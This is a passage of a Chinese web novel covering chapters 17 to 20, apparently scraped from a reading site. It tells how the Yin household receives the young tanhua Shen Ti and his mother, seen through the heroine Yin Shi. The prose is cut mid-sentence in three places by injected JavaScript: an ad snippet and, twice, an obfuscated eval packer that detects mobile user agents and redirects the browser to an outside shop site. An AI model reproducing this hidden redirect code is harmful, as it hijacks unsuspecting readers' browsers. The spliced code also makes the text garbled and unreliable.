“唉,反正你盯着,高媒婆、宋媒婆那里也记得去说。”三夫人说,“算日子妹妹和沈家外甥马上就要到了,眼下我可不顾上四丫头的事了。老爷子亲自发话了,让把后园的山房收拾出来给曦哥,那里幽静,适合曦哥读书。唉,这全是我的活计。” “能者多劳。再说了,那是您的嫡嫡亲的亲外甥。长房、二房的倒是想捞这个活计呢,谁能越得过您去?” 三夫人露出了会心的微笑。 年年三老爷打发厚厚的节礼往京城给妹妹和外甥送,真是没白疼着妹妹和外甥。 沈缇高中了探花,老太爷高兴得撒了三天喜钱。殷家能沾沾喜气就已经很满足了,谁料得到新科探花高中后的探亲假竟然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来探外家! 老太爷久经风浪的人,都差点欢喜得手舞足蹈。 如今,这是府里一等一的大事。 通知得虽仓促,但殷家上下动员起来,尤其三夫人忙得脚不沾地,把该收拾的收拾了,该准备的准备了。 总之老太爷发话了,万不能怠慢了他金贵的探花郎外孙。 天可怜见,他们老殷家坟头也冒青烟啦! 就这样,云鹃前脚出嫁还没两日,后脚京城的沈夫人并新科探花沈缇便到了。 往码头去接船的是沈三爷,已经派人快马回来报信:接到了! 殷家大开中门,老太爷亲迎出门。男丁在前,女眷在后。除了没出嫁的姑娘们,能出来的都出来了。个个踮着脚,巴巴地伸着脖子望着。 新科及第的进士在哪里都是稀罕,何况这是一甲的探花郎。殷家也不遮掩,足足撒了三天的喜钱,殷三老爷又亲自在码头守了十多日等着接船,怀溪地方上的人都已经知道了。 谁不想看看文曲星下凡。待消息随着快马送过来,殷家大门前的街巷两边嘈嘈杂杂地,已经挤满了看热闹的人。 众人殷殷期盼,终于迎来了探花郎。 因早与地方上通过气,虽然沈家的儿子严格来说不算是怀溪的人,但他肯来便是怀溪的喜事。县令派了衙役们铜锣开道、维持秩序。 待听到锣声由远及近,沈家人也好、四邻乡亲也好,都踮起脚伸长脖子向码头方向望去。 街口更是放起了两挂鞭炮,噼里啪啦,白烟弥漫,好不热闹。 在一片喧哗中,青衣软帽的小厮牵着骏马,马蹄踏破弥漫的白烟,那探花郎的身形逐渐显现。 深蓝罗袍,青罗衣缘。帽上簪花。帽翅垂着丝带,肩上斜披红锦,扎在腰间,金线在阳光下闪耀。 这是新科进士簪花游街的装扮,回乡祭祖的装扮。 怀溪人又惊又喜,有志一同地遗忘了殷家不过是探花郎外家这件事。 不管!怀溪人家的外孙中了进士,等于怀溪人中了进士! 这就是怀溪的大喜事! 热闹喧哗中,那白烟散去。随着探花郎露出真容,嘈杂的说话声忽然变小、静了下去。街坊四邻的目光都定在了探花郎的身上。 该说是青年吗?不,还是少年呢。 今科状元四十岁,榜眼二十九,探花郎却只有十七岁。 他姓沈名缇。金殿之上皇帝知道了他这名字的由来,问他有无表字。 探花郎道:“尚无。” 皇帝实在喜爱他,道:“晓梦随疏钟,飘然跻云霞。朕赐你跻云为字。” 沈缇叩拜谢恩。 从此,他是沈缇沈跻云。 待火药白烟散去,沈缇沈跻云放下掩着口鼻的衣袖抬起眼。 那双眼睛,含星蕴水。 十七岁的探花郎身体颀长而纤秀,有着少年特有的清瘦感。 只那进士巾服,衣袂飘飘,高头骏马,披锦簪花。金榜题名,正是人生得意时。 试问,谁敢欺少年? 18. 第 18 章 第18章 沈缇新科得中便来外家,已经令殷家喜不自禁。 他一身进士巾服,骑着高头骏马披锦簪花地踏街而来,仿佛高中回乡,实在是给足了殷家脸面。 殷家老太爷心花怒放,直觉得这外孙比嫡亲的亲孙儿还亲! 怀溪县令就在身侧,老太爷腰板一挺,声音洪亮:“可是缇儿?” 沈缇翻身下马上前两步:“正是孙儿。外祖父如何在此?折煞孙儿了。” 说着,一撩阑袍下摆,便跪了下去。 殷老太爷一辈子的高光时刻便是在此刻了。 然纵是自己的亲外孙,终究是文曲星下凡,他也不敢矜持太久,只飘然了一秒便赶紧伸手去扶:“使不得,快起来,快起来!” 然而沈缇并不轻狂,还是结结实实地叩了下去,给快十年未见的外祖父行了全礼,这才起身,又躬身抱拳:“大舅父、二舅父、三舅父、四舅父……”给舅舅们见了一圈礼。 怀溪县令暗暗点头,轻轻咳了一声。 欢喜得傻了的殷家人反应过来,老太爷亲给沈缇引见:“此是本地县台,钱大人。” 沈缇对钱县令略一拱手:“县台。” 钱县令非常客气:“翰林。” 沈缇是一甲第三名探花郎,一甲的这三个人状元、榜眼和探花,按照大穆朝的惯例,不需要经由庶吉士的学习,金榜题名后直接进入翰林院。 沈缇如今身上已经有了翰林编修的职衔,正七品。 县令也不过就是正七品。且钱县令是个年近四十的中年人,举人出身。沈缇沈跻云年方十七,一甲进士,起步就是天下菁英荟萃的翰林院。 举人在进士面前如何抬得起头,何况这是探花郎。故钱县令虽年长,却对沈缇颇为客气。 两人寒暄了两句,钱县令恭喜了沈缇高中。沈缇只说了句“过奖”,并未十分谦虚。 少年人正春风得意之时。且若不是父亲一直压着他,去年才许他下场乡试,他还可以更早一届登科。虽不至于恃才傲物,但菁英读书人该有的骄傲还是有的。 偏这份骄傲是所有人都欣欣然肯接受的。 殷老太爷适时插嘴:“屋里说话。” 但钱县令通达人情世故,摆手笑道:“今日是殷家喜事,令嫒、令外孙阔别多年,必有许多乡愁要诉。我就不叨扰了,改天再来府上拜会。” 沈缇倾身颔首致谢。 老太爷带着儿子们恭敬送走了县太爷,转身把住沈缇手臂:“乖孙,快与我家里去,可想煞老头子了!” 沈缇反手搀扶住外祖父,正要说话,忽闻女子声音喊道:“父亲。” 众人扭头一看,原来是沈夫人看钱县令走了,她下车来了。 老太爷这才想起来除了金外孙,他还有个远嫁的女儿呢!忙深情喊一声:“四娘,你回来了。” 快二十年,沈夫人这才是第二次省亲,一声“四娘”让她顿时泪水盈眶,轻提裙摆给老父亲行礼:“父亲……” 老太爷伸手虚托:“快起来,快起来,不要多礼。” 殷家儿子们也纷纷道:“四娘回来了。” “四娘快起来。” “四娘莫哭。” 沈缇走下台阶,亲自将母亲搀扶起来。 他心下十分无奈——若在京城,定是拆了门槛,马车驶入府内母亲才会下车与众人相见,到了这里,门外还有这许多围观看热闹的人,她便已经下车了。 一回到怀溪,母亲竟也不讲究了起来。 他其实刚才便看到了,除了外祖父、舅父和表兄弟们,舅母们也都在门外扎堆。这实在太不讲究了。 但他小时候便来过怀溪,也明白外祖家商户出身,家中规矩颇松散,不是太讲究的人家。母亲多年前就与他说过,若以京城诗礼人家的标准来要求外家,未免失之苛刻。 沈缇觉得有道理,便接受了。 父女俩见完礼,三夫人领头与几个妯娌一拥而上,左右挽了沈夫人的手臂,热热闹闹地将她迎了进去:“走,去拜见母亲。母亲见你回来,不知道有多欢喜。” 三夫人还挤了下眼睛。 沈夫人啼笑皆非——这么多年过去了,嫂子和嫡母之间的关系显然也没有多少改善。 但这么一冲,伤感的情绪淡了许多,都是回家的欣喜了。 男人们在前,妇人们在后,都把着臂挽着手,一起进到大门里去。 留下管事在外面,又抬出两箩筐铜钱,一边唱着喜庆话,一边一把一把地抓起来往外撒。 乡亲四邻、街上的闲汉、乞丐都一哄而上去抢着捡。又那伶俐的,不挤着抢,反而冲管事作揖说些恭喜的话。管事便笑着抓一把直直朝他扔去。那人用衣衫兜了,可不比挤在地上跟人抢更强些。 市井间的热闹喜庆,多是如此。 殷府深处的一间小院里,阳光切着院墙上的黛瓦斜洒进来,分割了明暗。 院角的影子里,蹲着一个少女和一个女童,说起话来声音清脆。 “手轻点,别伤了根须。”殷莳抱着膝盖托着腮,指点新进的小丫头将一株带着苞球的花移栽进院角的泥土里。 云鹃嫁了,葵儿提成大丫头,下面的粗使小丫头跟着提,又新进了一个更小的丫头做粗使洒扫的活计。 这就得从头教。 没关系,跟小小女孩相处,教她们一些东西,这个过程安谧又治愈,殷莳是很喜欢的。 这种生活,当她在另一个时空生活的时候,被称作“我梦想中的养老”。 小丫头抬头看看墙头,道:“姑娘,这位置不好,每日只晒得片刻就晒不着了。” “片刻就够了,这花喜阴,不能多晒。”殷莳解释,又嘱咐,“记得多浇点水。喜阴喜潮,不耐旱的。” “姑娘懂得真多。我晓得了。姑娘进去歇吧,我已经学会啦。” 殷莳才站起来拍了拍手,葵儿提着裙子脚步匆匆地回来了:“姑娘!” 见到她,葵儿气得跺脚:“怎还弄得一手土?我不是嘱咐了吗,早点换衣服!” 她一边喊着:“蒲儿!打水给姑娘洗手,快点!” 一边推着殷莳往正房里去:“外边的鞭炮声你没听见嘛,四姑太太和沈家表少爷已经到了!四姑太太已经往老太太那里去了,十有八九待会就要喊姑娘们过去与四姑太太见亲了。旁的姑娘们都早早妆办好了,就你!” 殷莳完全是被推着走的,她还笑:“哎,你别急。” 真没办法,虽然可以教她们许多东西,但是就是教不会她们“佛系”。个个都为她着急上火。 其实她自己完全不急。眼前的状态,本就是她多年谋划才谋来的。 但葵儿又怎会知道呢。 葵儿一天天地着急得嘴上起泡:“让云鹃姐姐知道了,得戳着脑袋骂我!” 云鹃出嫁前,可是扯着葵儿躲在屋里咬了许久的耳朵,千叮咛万嘱咐:“姑娘那个性子什么都不着急。咱们可万万不能学她,一定要替她想着,帮她做着,可不能什么都由着她了。这一天天地拖下去,她年纪越来越大,唉……可愁死我了!” 蒲儿已经端了水来,无奈解释:“咱们姑娘你还不知道?我催了几回了。她半点不急。” 葵儿:“唉!” 两个丫头一边说着,一边给伺候着殷莳洗手洁面。 殷莳擦干脸一看:“你拿这些作什么?” 葵儿把妆匣子打开了:“咱们好好拾掇拾掇,漂漂亮亮见人。” 人人都爱美人的。她们姑娘本来就生得美,再好好捯饬捯饬,必然让人眼睛一亮。 四姑太太可是官员夫人,身份不一般,她若是愿意提携提携自己的侄女…… “脑子里想什么呢?赶紧停下来。”殷莳没好气地说。 小丫头那眼神灼灼亮起来,她看一眼就晓得她们在胡思乱想什么。 寻常人也容易这样,当什么事情为难的时候,下意识地就希望能有贵人拉自己一把。 丫鬟奴婢们这种思想更严重。也是因为她们的身份地位确实低,常常主人一句话就决定了她们的人生,这种寄希望于“贵人”的倾向就更严重了。 殷莳从容地揭开小瓷盒的盖子,手指揩了一指头,在掌心推匀,往脸上抹:“就抹个香膏子,足够了。不要做多余的事。” 葵儿不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13638986|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死心:“不用胭脂,好歹扑些粉……旁的姑娘们都用粉呢,就你不用。” 殷莳贴近铜镜仔细看了看。她才十七而已,脸上满满都是胶原蛋白,好看极了。 女孩子们天生爱美,到了一定的年纪很自然地就想用脂粉胭脂,小姑娘们在这个时候就是这样的,很正常。 而且十二岁之后,府里给的日常份例里甚至也包括了胭脂水粉。谁让这个时代成亲早呢,连大人们都觉得十二三岁的小姑娘是该学着用胭脂水粉的年纪了。这样等再大些,正经该说亲谈婚事的时候,化妆技巧上就能练出来了。 但殷莳是成年人灵魂,她从镜子里看着十七岁少女的脸简直是一种无暇的状态。完全没必要。 “这是我亲姑姑,我是去见长辈,又不是去相看。”她说,“你可别忘了,沈家表弟可跟我同岁。及笄了的姐妹里就我一个还没说亲,我涂脂抹粉花枝招展地过去,姑姑误会我对表弟有想法可怎么办?沈家表弟可是新科探花郎,多少人眼里的东床快婿,便是公主郡主都娶得。姑姑肯定会防着些。我再引了姑姑误会,你想要的……哼哼……” 果然就把葵儿吓唬住了。 葵儿蔫了,叹口气,把胭脂膏子放下了,解开了殷莳的头发,拿起了梳子:“咱们哪有那种心思,不过是想让四姑太太多看你一眼罢了。唉,算了,到时候你又往人后面出溜。不涂了,我给你梳个头总行吧。” 殷莳忍住笑:“好,梳个简单的就行。自家人,简单点才亲近,隆重了就见外了。” 这话有道理,葵儿听话,果然给殷莳梳了个清爽利落的头。 殷莳的裙摆上沾了土了,这样见客不太礼貌,葵儿听话给她找了身半新不旧的衫裙换上。 虽然听话,可是给殷莳换完了,她上下看看,还是忍不住嘟了嘴吧,显然不是很开心。 殷莳捏她嘴唇:“能挂油瓶了。” 葵儿躲闪:“旁的姑娘肯定都穿新衣。赌不赌?我要说错了,我给姑娘沤一个月的花肥。” “不赌,没意思。”殷莳直接拒绝。 果然没一刻,老太太那里边有人来知会:“请各房姑娘们去见亲。” 殷莳手脸都干干净净,头发也重新梳得整齐,捋捋裙子便站起来:“这就去。” 那丫头跑了好几个院子了,三房的四姑娘是最从容的,心道:大家都说三房四姑娘是个慢性子,原来是真的。 殷莳带着葵儿往老太太那里去,路上遇到了其他的妹妹。是的,都是妹妹。殷莳都十七岁了,比她大的都已经嫁人当娘了,还在府里的都是比她小的了。除了妹妹,还有侄女们。 葵儿仿佛清了下嗓子,拿眼瞟殷莳。 殷莳知道她什么意思,果然如葵儿说的,妹妹、侄女们都穿着簇新簇新的新衫裙。 殷莳不在意。 她也有还没上过身的新衣。但她如今是姐妹里年纪最大的,也是个子最高的,她要是穿得一身新杵在那里,像个发光的油蜡似的,会把妹妹们的风头都抢了。 但因为她是最年长的,所以也没法往后躲,必须走在前面。否则的话让妹妹走在了前面进去,显得妹妹们不懂事,倒陷妹妹们于不义了。 到了老太太院子,丫头打起纱帘。年纪小的女孩子们都让了一下,殷莳率先微微低头踏了进去。 “姑娘们来了。” 随着婢女的禀报声响起,厅里的年长女性们都朝着屏风处看去。 一个略高些的女孩子带着几个稍矮的女孩子,影子投在了纱屏上。 沈夫人帕子沾沾额角,凝目看去。 走在最前面的影子窈窕而挺拔,几步之后绕了过来,出现在了大家的视野里。 那女孩子比后面的妹妹们身量高些,看得出来年纪略长,身体已经有了玲珑姿态。穿着半新不旧的衫裙,干干净净,颜色花纹也都得体。 只是后面的妹妹、侄女们穿得过于簇新华丽,显得她的穿着便寻常了。 随着女孩子们鱼贯而入,排排给沈夫人见礼,沈夫人笑着虚扶:“快别多礼,都坐,都坐。” 脸上笑着,目光扫过侄女、侄孙女们,最后定在了殷莳的身上:“这是哪个?” 19. 第 19 章 第19章 沈夫人的亲嫂子三夫人道:“是咱们这一房的小四。” 沈夫人微感讶异:“四娘吗?” 多年前的记忆回笼,那是个和她排行一样的小庶女,也和她一样在小小年纪没了姨娘。 她分明记得三哥这一房的四娘是和沈缇同岁的。这个年纪,怎还在家没有出阁? 回忆起当年那时候沈缇就不满三舅母提到四表姐死了亲娘时脸上带笑,沈夫人都忍不住看了三夫人一眼。 三夫人其实不太想给沈夫人多介绍殷莳。殷莳十七了还待字闺中且身上并无婚约,说出去不好听,显得她这个嫡母不称职似的。 真冤。 但眼下不是说这个的时候。好在沈夫人十分有分寸,也没有当面发问。她只说了声“是呢”就想对付过去,赶紧转移话题。 哪知道老太太不咸不淡地说:“这丫头命不好,要在家里沾够了咱家的福气才能嫁人。” 厅里喜气洋洋的气氛顿时滞了一息。 如今殷家虽然富足,但当年老太爷娶老太太的时候还只是成日在外跑商的小商人。老太太出身不高,杂货铺掌柜的女儿。她甚至不识字。 三夫人内心里其实颇瞧不上老太太,只可恨她是儿媳,老太太是婆婆,身份摆在那里她没办法。 老太太这刻薄话一出,殷莳只垂下眼帘,默不作声——她嫡母在这儿呢,轮不到她开口。 果然三夫人必须得说话了—— “咱家当然是有福之家,庇佑子孙的。”她硬挤出笑,给沈夫人解释,“本来她及笄的时候已经都给她相看好了一门亲事,哪知道她忽然病了一场。这孩子昔年给她姨娘守孝,寄居在东林寺,首座大师父说她有慧根,收作了个记名弟子。她这一病,她师父给掐指一算,道是她命中有道坎,得好好地在家里再养三年,才能平安迈过去。” “这可不是什么野路子道士神婆讹人钱财的,这可是东林寺的首座大和尚。咱们哪个敢不信,自然要照做。” “如今已经足足两年,待到明年春夏,她这道坎就平安过去了。有老太爷、老太太这这么大的福气护着呢,到时候定给她找门好亲事。” 沈夫人知道三夫人这一番话里肯定有很多虚头巴脑、不尽不实的东西,但她不能在老太太跟前给她亲嫂子塌台。 沈夫人一遮嘴角,含笑道:“原来如此,得家中长辈庇佑,这是有福气的孩子。” 她又道:“四娘,你过来。” 殷莳起身上前,福身行礼:“姑姑。” 沈夫人见殷莳被祖母刻薄几句,面上竟毫不见情绪,眉间云淡风轻,嘴角甚至带着温柔和气的微笑。 回忆泛起涟漪,上一次省亲回程时从旁的夫人那里听到的零星关于这孩子在孝期如何虔诚沉静的称赞都想起来了。 她心中暗暗点头,解下腰间玉佩:“姑姑得你祖父、祖母庇护,也沾了长辈们许多福气。你在家有祖母、母亲悉心看顾,姑姑帮不上什么,这块玉佩是我昔年的嫁妆,带着姑姑从娘家沾来的福气,现在给你。你要好好地,也做一个有福之人。” 殷莳恭敬接过,笑着行礼道谢:“侄女投胎投得好,生在有福之家,有这么多亲长爱护,定像姑姑和母亲一样是个有福之人。” 这孩子关键时刻不掉架子,接得住话茬,三夫人心头舒爽了很多,只笑吟吟地看着沈夫人和殷莳姑慈侄孝,假装看不见老太太不痛快的脸色。 老太太觉得刺眼,还想说点什么,她身边的妈妈悄悄扯了扯她的袖子。 老太爷跟她几十年老夫老妻岂能不了解她,早早就警告过她“四娘一辈子能回来几次,你别给她找不痛快”。她刚才一时没憋住,此时被身边人扯了几下,醒过来了,见场面已经被这几个扎眼的人给圆过去了,只得悻悻作罢。 沈夫人打量殷莳的目光却有些不一样。 三夫人以为她还介意刚才的事,继续打圆场:“我们四娘啊,不是我自夸,真真是个好孩子。作妹妹有妹妹样,作姐姐有姐姐样,从来跟姐妹们都没有拌过嘴、红过脸,从来没有!又淑静又稳妥,顶顶敦厚的一个好孩子。这不是我吹的,这是大家都知道的。” 沈夫人从来是娇客,如今她儿子高中探花,这是殷家的亲外孙,殷老太爷极是看重,殷家益发看重她。老太太放不下当年的心结,但殷家各位夫人也都想跟这个姑子打好关系,纷纷都给捧场:“可不是,我家几个,都喜欢与莳娘一起玩。” “她们跟莳娘一起,我们是最放心的。” “待过了这个坎,莳娘定也是个有福气的。” 有大家的帮衬,场面又喜庆吉祥了起来。 大家一团和气,只有老太太在上首忍耐着看沈夫人花团锦簇,看三夫人面上生光,看殷莳温柔淑静。 想到她苦命的三娘还在夫家熬着,这辈子没个头,不由悲从中来。忍了一阵子,到底不想再看庶女沈夫人得意,只扶额道:“我头风犯了,你们玩吧,我歇一歇。” 老太太这个头风怎么回事,媳妇们都心知肚明。 三夫人很“捧场”:“娘快回去歇着,这里有我们呢。” 老太太臭着脸起身了,沈夫人也起身,恭送嫡母,不叫人挑出错来。 大夫人是嫡长媳,实在没办法,跟过去搀扶老太太:“我照顾娘。” 老太太岁虽心疼守寡的亲生三女儿,可到底也知道沈家对殷家不一样,沈夫人是个热灶,不能全让三房烧了。她终究也是心疼长子长媳的,使个眼色给大儿媳:“我没事,躺躺就好了,你妹妹难得回家,你做长嫂的,好好招待她。” 大夫人松口气,欣然回去了。 厅上,没有了老太太,气氛反而更好。 小一辈年纪小,虽也向往京城,但没什么敬畏心,对这姑姑也亲近,争着打听京城,一个个像好奇的小麻雀。就连殷莳两个订了亲的堂妹,一开始还想矜持些,后面也忍不住加入了叽喳的行列。 沈夫人笑吟吟地,对娘家晚辈们非常慈爱。只是在端起茶盏润喉咙的间隙,不动声色地多看了殷莳几眼。 殷莳在这里其实是最显眼的。 说起来是她弄巧成拙。她不想冒头,所以穿得不刻意。但大家都把沈夫人视为京城来的贵宾,都想拿出最好的模样见她。小地方的思维就是当然要穿新衣。没有新衣就算是旧衣也要新浆洗一下,笔挺笔挺的,但有新衣肯定穿新衣。 殷家有钱,不穷,当然有新衣穿。 所以殷莳本意是不想显眼,却反而显眼了。 遇事穿新衣这种操作,沈夫人懂,她小时候也是这样的。当然现在她在京城生活了这么多年了,讲究的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13651629|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经是半新不旧的含蓄。 这么扫过去,年纪最大的殷莳最符合她现在的眼光。 沈夫人悄悄瞅着,殷莳果然如三夫人夸赞的那样,不争不抢,娴淑安静。 不管哪个妹妹提问,或者问了多么天真可笑的问题,她都抿着嘴笑,眸光中带着疼爱。沈夫人能感受到,这个侄女虽然青春娇美,却不喜欢和同辈姐妹争奇斗妍,反而像她这个长辈一样很享受这种天伦之乐的场景。 沈夫人暗暗点头。 殷莳一直带着笑当陪客,该笑的时候就笑,该鼓掌的时候就鼓掌。这个家给了她一个富足的生活,她为这个家庭的团结和睦贡献一份微薄的力量也是应该的。 她同时还带着一种看客的超离感。 她很喜欢观察、揣摩。女孩子们当然单纯简单,基本上就是对京城的向往、对表哥的敬佩、对姑母的亲近。相比之下,诸位夫人和沈夫人这个小姑子之间的你来我往就有意思的多了。 有很多非常传统的价值观和礼数在这些女人的言语、眼神和肢体动作中表达了出来。 非常有意思,殷莳观察得津津有味。 但偶尔,殷莳也会看到沈夫人投过来意味不明的一瞥。总觉得那目光里似乎带着探究。 殷莳自忖今天除了穿衣不够簇新鲜亮之外,其他的地方并没有什么疏漏。难道沈夫人是个势利眼,喜欢被逢迎,因为她穿得不够新而不高兴了吗? 但殷莳很快推翻了这个猜测。 九年前沈夫人刚回到娘家便能安排儿子代她去安抚失去了姨娘的小侄女。而且沈缇那孩子的教养那么好。殷莳不相信这样的一位长辈会是个势利眼。 或许就跟别人一样,看她年纪这么大还没订亲,好奇加担忧吧。 这么一想,殷莳就释然了。当沈夫人再看过来的时候,便冲她微微笑。 沈夫人目光闪动,忽然切换了话题,问:“莳娘平时在家里都做些什么?还在上学吗?” 殷莳心想,早知道要被点名,刚才就不冲沈夫人笑了。 但已经被点名了,也不能躲,便微微倾身:“学里教的东西都学过了,已经不去了。只自己随便看些书。平日里抄抄佛经,供到我师父那里去。闲来无事的时候,喜欢摆弄些花草。和姐妹们都差不多。” 有个年纪小的妹妹十分活泼,抢着道:“莳娘姐姐的院子里好多花,她好会养花的。” 旁的妹妹们也都点头称是。 沈夫人点头笑笑,不再追问,反跟那个抢话的小侄女说起话来。她亲切可人,女孩子们都很放松。 殷莳也很放松地度过了这段认亲的时光。 热闹了许久,殷莳有点纳闷怎么大夫人还不宣布散场。即便是她,在社交中纯当观众都有点累了。当主角的沈夫人要应付每一个人,肯定更累。 大夫人执掌中馈,按理说不该这么不会安排事儿。 正纳闷,有婢女进来通禀:“表少爷来了。” 几位夫人和众姐妹的眼睛都亮了起来,殷莳恍然大悟,原来是搁这儿等着呢。 三夫人还拍了下巴掌:“糊涂,怎不请表少爷进来!” 婢女委屈:“表少爷一定要通禀。” 殷莳扭过头去才憋住了这一下没笑。 这表弟,还是跟小时候一样老成可爱啊。 20. 第 20 章 第20章 小学究长大了,不知道长成什么样。也就是这个时代没有眼镜,要是有眼镜的话,肯定得戴一副厚厚的镜片,全是圈圈的那种吧。 殷莳带着笑,望向门口屏风处。 一个清瘦的影子投到了屏风上。虽看不见脸,但缓步走来,肩不晃头不摇。隔着屏风,便给人一种风仪美好之感。 电视里看多了各种帅哥扮演的状元探花、侯府世子、少年王爷之类的,殷莳本来不像厅中旁人那样稀罕这个新科探花郎的。她对他的感觉只不过是“见一个小时候见过的挺不错的弟弟”而已。 但可能是春光太好,或者是众人的情绪感染了她。 也可能投到屏风上的那个影子的确给人以美好的感觉。 总之,虽然那影子平稳、缓缓地走来,殷莳不知怎么地,心中竟生出了几分期待。 屏风后转出的那个少年果然没有辜负这份春日里的期待。 那双眼睛真好看啊。 殷莳第一眼就看到了少年的眼睛,明亮而有神采。眼睛是心灵的窗户,她能感受得到,这是一个非常骄傲的少年。 年少及第,一甲探花,他有骄傲的本钱。 这种骄傲不伤人,反而熠熠生辉,让人赞叹:少年,就该这样啊。 然而这优秀的少年面对满屋的女子也要收敛起他的骄傲。 他的行礼非常标准而流畅,并且一丝不苟:“外甥见过各位舅母,舅母们安好。” 三夫人抢了大夫人的话,无比热情:“都好,都好,快起来。” 沈夫人道:“他如今也有表字了,陛下钦赐的,叫作跻云。” 夫人们也不管是哪两个字,出自什么诗词、典故,直接齐齐地发出了“喔~”的赞叹声,纷纷夸赞:“好字,好字!” 喊名是不礼貌的,男子有了表字,通常就要以表字称呼他。 大夫人不引人注意地悄悄白了三夫人一眼,端起她大舅母的架子,热情招呼探花郎外甥:“跻云,快看座。来来,人可都能认得?我与你说说。” 沈缇落座,颔首道:“经年不见,舅母们一如从前,甥儿都还得认得。妹妹们变化大,不大认得了。” 大夫人便给他指人,头一个便指得殷莳:“这一个,三房的四娘,唤作莳娘。啊,你与她同一年的吧,你两个谁个生辰大?” 沈缇起身与殷莳互相行礼,眉头却蹙起:“三房的四表姐?” 士大夫不是讲究养气吗,要七情不上脸才算高级。这个表弟到底还是年轻呀。殷莳带笑说:“正是。我们小时候见过的。那时候我身上有孝,未及拜见姑姑。表弟代姑姑来探望过我,可还记得?” 说起来竟有点怀念。那时候她刚穿过来,在陌生的环境里非常地惴惴不安,总怕被熟悉原主的人给看出来她换了芯子。 沈夫人和小学究沈缇是第一个能让她放松感受善意的人。 殷莳一直记着姑姑表弟这份好。 超强的记忆力是成为学霸的基本条件。探花郎这辈子一共就来过外家两次,怎么会忘记。 这个表姐小小年纪没了亲娘,嫡母待她也就一般般,十分可怜。 可她跟他同岁甚至还比他大几个月,她今年该十七了,怎地还没出阁? 沈缇虽然在殷莳眼里年轻,可终究也不是小孩子了,心中疑惑也不会当众发问,只点头:“记得。姐姐这些年可好?” 少年人的眼睛真干净,并不是客套,是真的在发问:你还好吗? 殷莳心中一暖,笑答:“当然好。怀溪虽没法和京城比,但也出产丰盛,水土肥美,民风朴实,家里一切都好的,我也好。” 少女的笑容也真诚,且她回答得没有丝毫犹豫,显然是真的好。 沈缇对这并不亲近的亲戚纯粹出于怜悯弱小的那点善心从这回答里得到了令人满意的反馈。他点点头:“那就好。” 目光转向了挨着殷莳的下一个表妹,与殷莳的互动结束了。 沈夫人一直观察着。 殷莳注视沈缇的目光温暖亲切,是亲人看亲人,是姐姐看弟弟的目光,十分纯净。 可见是个心思简单的姑娘。 她举止进退也落落大方,不小家子气,有种见过世面的感觉。并没有因为问的是自己,就全回答关于自己的事,这个対答堪称十分得体。 沈夫人不知道第多少次暗暗点头了。 大夫人继续给沈缇介绍:“这两个是你云娘妹妹和婉娘妹妹,你们小时候见过的,只她们两个那时候年纪小,肯定不记得了。” 云娘和婉娘一个十五一个十四,都已经订了亲,快要出阁。 和刚才屋中只有女眷时的活泼、放松比起来,这两个有了明显的失态。 沈夫人注意到,是殷莳不动声色地用脚轻轻碰了下云娘的鞋子,云娘才反应过来行礼:“见过表哥。” 婉娘也赶紧跟着行礼:“见过表哥。” 两个人动作都僵硬了起来,说话也不那么大方了,有些打怯起来。甚至沈缇还礼后,转向下一个表妹的时候,这两个的目光还黏在他脸上。 沈夫人只微微一笑,并不苛责侄女们。 这两个是待嫁之身,人生这个阶段最重要的就是亲事。且这个年纪本就是情窦初开的时候。 可以说,这个时候她们脑子里成日里想的最多的就是男女两个字了。虽亲事已经订下来,也未必见过未婚夫几回。平日里全靠想象,期望未来的夫君能生得好看。 而她的儿子,相貌尤在他父亲之上。这几年他长成,已经有好几家闺秀为他动了春心。揭榜之后的进士游街,更不知道多少帕子、荷包、香囊都往他身上砸。 这样的一个少年郎君乍然出现在云娘和婉娘面前,引得她们失态,实不能全怪她们。 大夫人剜了云娘一眼,四夫人则恨铁不成钢地瞪了婉娘一眼。因为云娘是长房的小女儿,婉娘是四房的长女。 前面三房的莳娘多么大方啊,怎地到自己这一房就这么掉架子。两位夫人脸上都有些挂不住。 三夫人笑吟吟地看热闹。 后面三个表妹都是十四上下的年纪,虽还没订下来,但也在相看的路上,或者已经准备开始相看了。也到了开窍思春的年纪,表现并不比上面两个姐姐好到哪里去。 更小的几个倒没有什么思春的念头,只单纯觉得这个表哥生得真好看。但京城来的探花郎表哥行起礼来一丝不苟,虽然脸上带着淡淡的笑,但不知道怎么地就让几个小的感受到了压力,也都拘谨了起来。 竟只有殷莳完全是见亲戚、看热闹的心态,由内而外都是放松的。 沈缇是来见亲的,与姐妹们厮见完,问起祖母,大夫人答道:“你祖母她老毛病头风犯了,哎呀她这个头风一犯就疼得受不了,只能回去歇着去了。” 沈缇点点头。 他母亲沈夫人是庶出。关于这位嫡祖母,路上沈夫人就给他打好预防针了。如今这情形他也不多事,反正他与女眷们也就是这样——见个面,认个亲,让她们看看自己,然后告退。 果然坐着答对了几句,满足了舅母们和表妹们的好奇心,探花郎就起身告辞了。 大家都恋恋不舍,沈缇起身团团抱拳,告个罪,撤了。 众人目送他离开。 屋中又变成了全是女眷的状态,可再也恢复不到之前的欢声笑语了。因那种欢快,很大程度都是年轻的少女们活泼嬉笑支撑的。 现在少女们都安静了。年长的几个,好像如梦初醒,突然想起了女先生教的那些规矩了。 